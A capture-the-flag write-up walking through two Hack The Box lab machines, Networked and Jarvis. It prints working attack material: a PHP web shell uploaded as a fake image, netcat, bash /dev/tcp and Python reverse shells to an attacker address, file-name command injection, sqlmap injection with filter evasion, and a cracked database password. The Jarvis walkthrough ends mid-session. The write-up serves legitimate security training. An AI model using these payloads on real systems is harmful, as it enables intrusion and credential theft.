HTB – Networked

Today we are going to solve another CTF challenge “Networked” which is available online for those who want to increase their skill in penetration testing and black box testing.

Level: Medium

Task: find user.txt and root.txt file on victim’s machine

Let’s start with a nmap scan

root@kali:~/htb/networked# nmap -sC -sV 10.10.10.146
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-19 12:59 EST
Nmap scan report for 10.10.10.146
Host is up (0.024s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.12 seconds

Looks like we have only the http service to explore. Here’s what it looks like.

┌─[puck@parrot-lt]─[~/htb/networked]
└──╼ $curl http://10.10.10.146 | html2text 
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:--100 229 100 229 0 0 1198 0 --:--:-- --:--:-- --:--:-- 1198
Hello mate, we're building the new FaceMash! Help by funding us and be the new
Tyler&Cameron! Join us at the pool party this Sat to get a glimpse
┌─[puck@parrot-lt]─[~/htb/networked]

 

I’ve no idea what it means. Well, moving on to the next step.

Directory/File Enumeration

Let’s kick things off with wfuzz and SecLists.

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt --hc '403,404' http://10.10.10.146/FUZZ
********************************************************
* Wfuzz 2.2.1 - The Web Fuzzer                           *
********************************************************

Target: HTTP://10.10.10.146/FUZZ
Total requests: 4594

==================================================================
ID      Response   Lines      Word         Chars          Request    
==================================================================

00702:  C=301      7 L        20 W          235 Ch        "backup"
02095:  C=200      8 L        40 W          229 Ch        "index.php"
04196:  C=301      7 L        20 W          236 Ch        "uploads"

Total time: 93.26074
Processed Requests: 4594
Filtered Requests: 4591
Requests/sec.: 49.25974

The directory /backup sure looks interesting.

Let’s download it and see what’s inside.

Looks like the backup of the PHP files present in the site. If the acutal upload.php is identical to that of the backup, then there’s a vulnerability with the upload form.

upload.php
// $name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
  if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
    $valid = true;
  }
}
lib.php
function getnameUpload($filename) {
  $pieces = explode('.',$filename);
  $name= array_shift($pieces);
  $name = str_replace('_','.',$name);
  $ext = implode('.',$pieces);
  return array($name,$ext);
}

As long as the extension ends with one of extensions, we should be able to upload a PHP file with double extension, e.g. cmd.php.gif. Here’s what cmd.php.gif looks like.

cmd.php.gif
GIF89a
<pre><?php echo shell_exec($_GET[0]); ?></pre>

Let’s give it a shot.

# curl -F "myFile=@cmd.php.gif;type=image/gif" -F "submit=go" http://10.10.10.146/upload.php
<p>file uploaded, refresh gallery</p>

Awesome. It got uploaded., And we got remote code execution!

Now let’s copy that image and inject some php code into the new image:

root@kali:~/Desktop/HTB/boxes/networked# cp original.png ./test.png
root@kali:~/Desktop/HTB/boxes/networked# echo '<?php' >> test.png
root@kali:~/Desktop/HTB/boxes/networked# echo 'passthru("whoami");' >> test.png
root@kali:~/Desktop/HTB/boxes/networked# echo '?>' >> test.png
root@kali:~/Desktop/HTB/boxes/networked# mv test.png test.php.png
root@kali:~/Desktop/HTB/boxes/networked# 

I injected <?php passthru("whoami"); ?> which should execute whoami, let’s test it:

next a shell

┌─[puck@parrot-lt]─[~/htb/networked]
└──╼ $echo '<?php' >> ./shell.php.png
┌─[puck@parrot-lt]─[~/htb/networked]
└──╼ $echo 'passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 9001 >/tmp/f");' >> ./shell.php.png
┌─[puck@parrot-lt]─[~/htb/networked]
└──╼ $echo '?>' >> ./shell.php.png 
┌─[puck@parrot-lt]─[~/htb/networked]

.

┌─[puck@parrot-lt]─[~/htb/networked]
└──╼ $nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.146] 58996
sh: no job control in this shell
sh-4.2$ script /dev/null -c bash
script /dev/null -c bash
bash-4.2$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-4.2$

.

We can’t read the flag as apache, but there are some other interesting readable stuff, crontab.guly shows that /home/guly/check_attack.php gets executed as guly every 3 minutes:

bash-4.2$ cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php
bash-4.2$

check_attack.php:

bash-4.2$ cat check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
        $msg='';
  if ($value == 'index.html') {
        continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>
bash-4.2$

This script checks for files that aren’t supposed to be in the uploads directory and deletes them, the interesting part is how it deletes the files, it appends the file name to the rm command without any filtering which makes it vulnerable to command injection:

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

$path is the path of the uploads directory:

$path = '/var/www/html/uploads/';

And $value is the suspicious file’s name.
We can simply go to /var/www/html/uploads and create a file that holds the payload in its name. The name will start with a semicolon ; (to inject the new command) then the reverse shell command.

bash-4.2$ cd /var/www/html/uploads
bash-4.2$ touch '; nc 10.10.xx.xx 1338 -c bash'
bash-4.2$

After some time I got a shell as guly:

root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1338
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1338
Ncat: Listening on 0.0.0.0:1338
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:60812.
whoami
guly
python -c "import pty;pty.spawn('/bin/bash')"
[guly@networked ~]$ ^Z
[1]+  Stopped                 nc -lvnp 1338
root@kali:~/Desktop/HTB/boxes/networked# stty raw -echo 
root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1338

[guly@networked ~]$ export TERM=screen
[guly@networked ~]$ id
uid=1000(guly) gid=1000(guly) groups=1000(guly)

.

 

 

Privilege Escalation

During enumeration of guly’s home directory, I noticed two interesting files, crontab.guly and check_attack.php.

crontab.guly
*/3 * * * * php /home/guly/check_attack.php
check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
        $msg='';
  if ($value == 'index.html') {
        continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>

If the files were to be believed, then a cron job will check and report to guly with mail($to, $msg, $msg, $headers, "-F$value"); at every three minutes, for files in /var/www/html/uploads that doesn’t begin with an IP address. This is easy to exploit. We can simply touch a file with a file name that begins with ; to separate sendmail from the command that we want to execute.

$ touch ';nc 10.10.14.2 9002 -c bash'

or

┌─[✗]─[puck@parrot-lt]─[~/htb/networked]
└──╼ $echo -n 'bash -c "bash -i >/dev/tcp/10.10.14.2/4444 0>&1"' | base64
YmFzaCAtYyAiYmFzaCAtaSA+L2Rldi90Y3AvMTAuMTAuMTQuMi80NDQ0IDA+JjEi
┌─[puck@parrot-lt]─[~/htb/networked]

and then from box

/var/www/html/uploads
bash-4.2$ touch -- ';echo YmFzaCAtYyAiYmFzaCAtaSA+L2Rldi90Y3AvMTAuMTAuMTQuMi80NDQ0IDA+JjEi | base64 -d | bash'
<mFzaCAtYyAiYmFzaCAtaSA+L2Rldi90Y3AvMTAuMTAuMTQuMi80 <ldi90Y3AvMTAuMTAuMTQuMi80NDQ0IDA+JjEi | base64 -d | bash'
bash-4.2$

Three minutes later, a reverse shell as guly appears in my nc listener.

 

Let’s upgrade our shell to full TTY.

The file user.txt is at guly’s home directory.

┌─[✗]─[puck@parrot-lt]─[/opt/Certipy]
└──╼ $nc -nlvp 9002
listening on [any] 9002 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.146] 46074
id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
python -c "import pty;pty.spawn('/bin/bash')"
[guly@networked ~]$ ls
ls
check_attack.php crontab.guly user.txt
[guly@networked ~]$

Getting root.txt

During enumeration of guly‘s account, I notice guly is able to run the following command as root without password.

[guly@networked ~]$ sudo -l
sudo -l
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
[guly@networked ~]$

Check out the code in the script.

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
        echo "interface $var:"
        read x
        while [[ ! $x =~ $regexp ]]; do
                echo "wrong input, try again"
                echo "interface $var:"
                read x
        done
        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0

Firstly, all the network scripts are written in bash. Furthermore, the single space character is allowed in the regular expression. Space is recognized as one of internal field separators (or IFS), which in this case really plays to our advantage, as you shall see.

We’re only interested in the NAME option because according to this page we can inject commands in the interface name. Let’s try to execute bash:

[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
sudo /usr/local/sbin/changename.sh
interface NAME:
test bash
test bash
interface PROXY_METHOD:
test
test
interface BROWSER_ONLY:
test
test
interface BOOTPROTO:
test
test
[root@networked network-scripts]# id
id
uid=0(root) gid=0(root) groups=0(root)
[root@networked network-scripts]#

.

 

HTB – Jarvis

Today we are going to solve another CTF challenge “Jarvis” which is available online for those who want to increase their skill in penetration testing and black box testing. Node is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Medium

Task: find user.txt and root.txt file on victim’s machine.

C:\PENTEST>nmap -sC -sV 10.10.10.143
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-16 14:54 W. Europe Standard Time
Nmap scan report for 10.10.10.143
Host is up (0.026s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.30 seconds

We got ssh on port 22 and http on port 80. Let’s take a look at the web service.


Web Enumeration

By visiting http://jarvis.htb/ we get a website for a hotel called Stark Hotel:

I ran gobuster to check for any sub directories and the only interesting thing I found was /phpmyadmin:

root@kali:~/Desktop/HTB/boxes/jarvis# gobuster -u http://jarvis.htb/ -w /usr/share/wordlists/dirb/common.txt

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://jarvis.htb/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2019/11/08 17:38:59 Starting gobuster
=====================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
=====================================================
2019/11/08 17:40:39 Finished
=====================================================

http://jarvis.htb/phpmyadmin

phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL and MariaDB. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement. –phpmyadmin.net

That can be useful later if we could find the credentials, but for now let’s concentrate on the web application.


SQLi in room.php

Back to the “Rooms & Suites” section in the main page, clicking on any of these rooms requests /room.php with a parameter called cod that holds the room number:

I tried replacing the number with a single quote ' and I got a weird response:

So I ran sqlmap but I got a 404 response:

root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1             
        ___           
       __H__
 ___ ___[(]_____ ___ ___  {1.3.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|                 
      |_|V...       |_|   http://sqlmap.org
      
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
 liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:43:03 /2019-11-08/
[17:43:03] [INFO] testing connection to the target URL
[17:43:04] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:43:04] [INFO] testing if the target URL content is stable
[17:43:05] [INFO] heuristics detected web page charset 'ascii'
[17:43:05] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk 
results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
[17:43:13] [INFO] searching for dynamic content
[17:43:13] [CRITICAL] page not found (404)
[17:43:13] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 2 times
[*] ending @ 17:43:13 /2019-11-08/

I checked the page again and saw a message indicating that I got banned for 90 seconds:

I assumed that it checks for the user-agent because the ban happened immediately, so I added the --user-agent option and used Firefox user-agent, that was enough to bypass the filter:

root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"     
        ___           
       __H__
 ___ ___[(]_____ ___ ___  {1.3.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org                       
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
 liability and are not responsible for any misuse or damage caused by this program
 
[*] starting @ 22:15:42 /2019-11-08/
[22:15:42] [INFO] testing connection to the target URL
[22:15:43] [INFO] checking if the target is protected by some kind of WAF/IPS
[22:15:43] [INFO] testing if the target URL content is stable
[22:15:44] [INFO] target URL content is stable
[22:15:44] [INFO] testing if GET parameter 'cod' is dynamic
[22:15:45] [INFO] GET parameter 'cod' appears to be dynamic
[22:15:46] [INFO] heuristic (basic) test shows that GET parameter 'cod' might be injectable
[22:15:46] [INFO] testing for SQL injection on GET parameter 'cod'
[22:15:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:15:48] [INFO] GET parameter 'cod' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="of")
[22:15:52] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'  
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y    
[22:15:56] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'             
[22:15:56] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'                 
[22:15:57] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[22:15:57] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'  
[22:15:57] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'             
[22:15:57] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'                     
[22:15:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'        
[22:15:58] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'  
[22:15:58] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'  
[22:15:58] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'      
[22:16:00] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'    
[22:16:00] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'         
[22:16:00] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:16:00] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[22:16:01] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[22:16:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'           
[22:16:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[22:16:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[22:16:02] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[22:16:02] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[22:16:03] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[22:16:03] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[22:16:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[22:16:04] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[22:16:04] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[22:16:06] [INFO] testing 'MySQL inline queries'
[22:16:06] [INFO] testing 'PostgreSQL inline queries'
[22:16:06] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[22:16:07] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[22:16:08] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[22:16:08] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[22:16:08] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[22:16:09] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[22:16:09] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[22:16:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[22:16:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[22:16:10] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[22:16:10] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[22:16:22] [INFO] GET parameter 'cod' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable 
[22:16:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:16:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:16:22] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection tech
nique test
[22:16:23] [INFO] target URL appears to have 7 columns in query
[22:16:28] [INFO] GET parameter 'cod' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 80 HTTP(s) requests:
---
Parameter: cod (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cod=1 AND 9726=9726

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: cod=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr
---
[22:16:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:16:33] [INFO] fetched data logged to text files under '/root/.sqlmap/output/jarvis.htb'

[*] ending @ 22:16:33 /2019-11-08/

root@kali:~/Desktop/HTB/boxes/jarvis#

RCE –> Shell as www-data

I could get RCE in 2 different ways.

First way:

By using the os-shell option in sqlmap:

root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" --os-shell                                    
        ___           
       __H__
 ___ ___[,]_____ ___ ___  {1.3.4#stable}
|_ -| . ["]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org                       
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
 liability and are not responsible for any misuse or damage caused by this program
 
[*] starting @ 22:23:10 /2019-11-08/
[22:23:10] [INFO] resuming back-end DBMS 'mysql'
[22:23:10] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cod=1 AND 9726=9726

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: cod=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr                 
---
[22:23:11] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:23:11] [INFO] going to use a web backdoor for command prompt
[22:23:11] [INFO] fingerprinting the back-end DBMS operating system
[22:23:11] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[22:23:13] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /var/www/nginx-default, /srv/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: /var/www/html
[22:23:40] [INFO] retrieved web server absolute paths: '/images/'
[22:23:40] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[22:23:42] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpuujaq.php
[22:23:43] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpbtwbt.php
[22:23:43] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] a
command standard output: 'www-data'
os-shell> id
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
os-shell>

From here we can simply execute a reverse shell command and get a shell.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.82",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Second way:

I used the --passwords option to dump the users’ password hashes:

root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" --passwords                                  
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.3.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:17:45 /2019-11-08/

[22:17:46] [INFO] resuming back-end DBMS 'mysql'
[22:17:46] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cod=1 AND 9726=9726

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: cod=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr                 
---
[22:17:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:17:46] [INFO] fetching database users password hashes
[22:17:46] [INFO] used SQL query returns 1 entry
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[22:17:53] [INFO] writing hashes to a temporary file '/tmp/sqlmapbAZ4vg2489/sqlmaphashes-KkbVkR.txt' 
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] n
database management system users password hashes:
[*] DBadmin [1]:
    password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0

[22:17:55] [INFO] fetched data logged to text files under '/root/.sqlmap/output/jarvis.htb'

[*] ending @ 22:17:55 /2019-11-08/

root@kali:~/Desktop/HTB/boxes/jarvis# 

I got the password hash for DBadmin, I cracked it with crackstation:

Then I tried these credentials (DBadmin : imissyou) with phpmyadmin and I got in:

From the SQL console we can write a web shell:

SELECT "<?php system($_GET['c']); ?>" into outfile "/var/www/html/sh3ll.php"

I used the netcat openbsd reverse shell payload from PayloadsAllTheThings to get a reverse shell, I had to url-encode it first:

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.xx.xx%201337%20%3E%2Ftmp%2Ff

Now we have a shell as www-data:

root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1337
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.143.
Ncat: Connection from 10.10.10.143:57400.
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@jarvis:/var/www/html$ ^Z
[1]+  Stopped                 nc -lvnp 1337
root@kali:~/Desktop/HTB/boxes/jarvis# stty raw -echo 
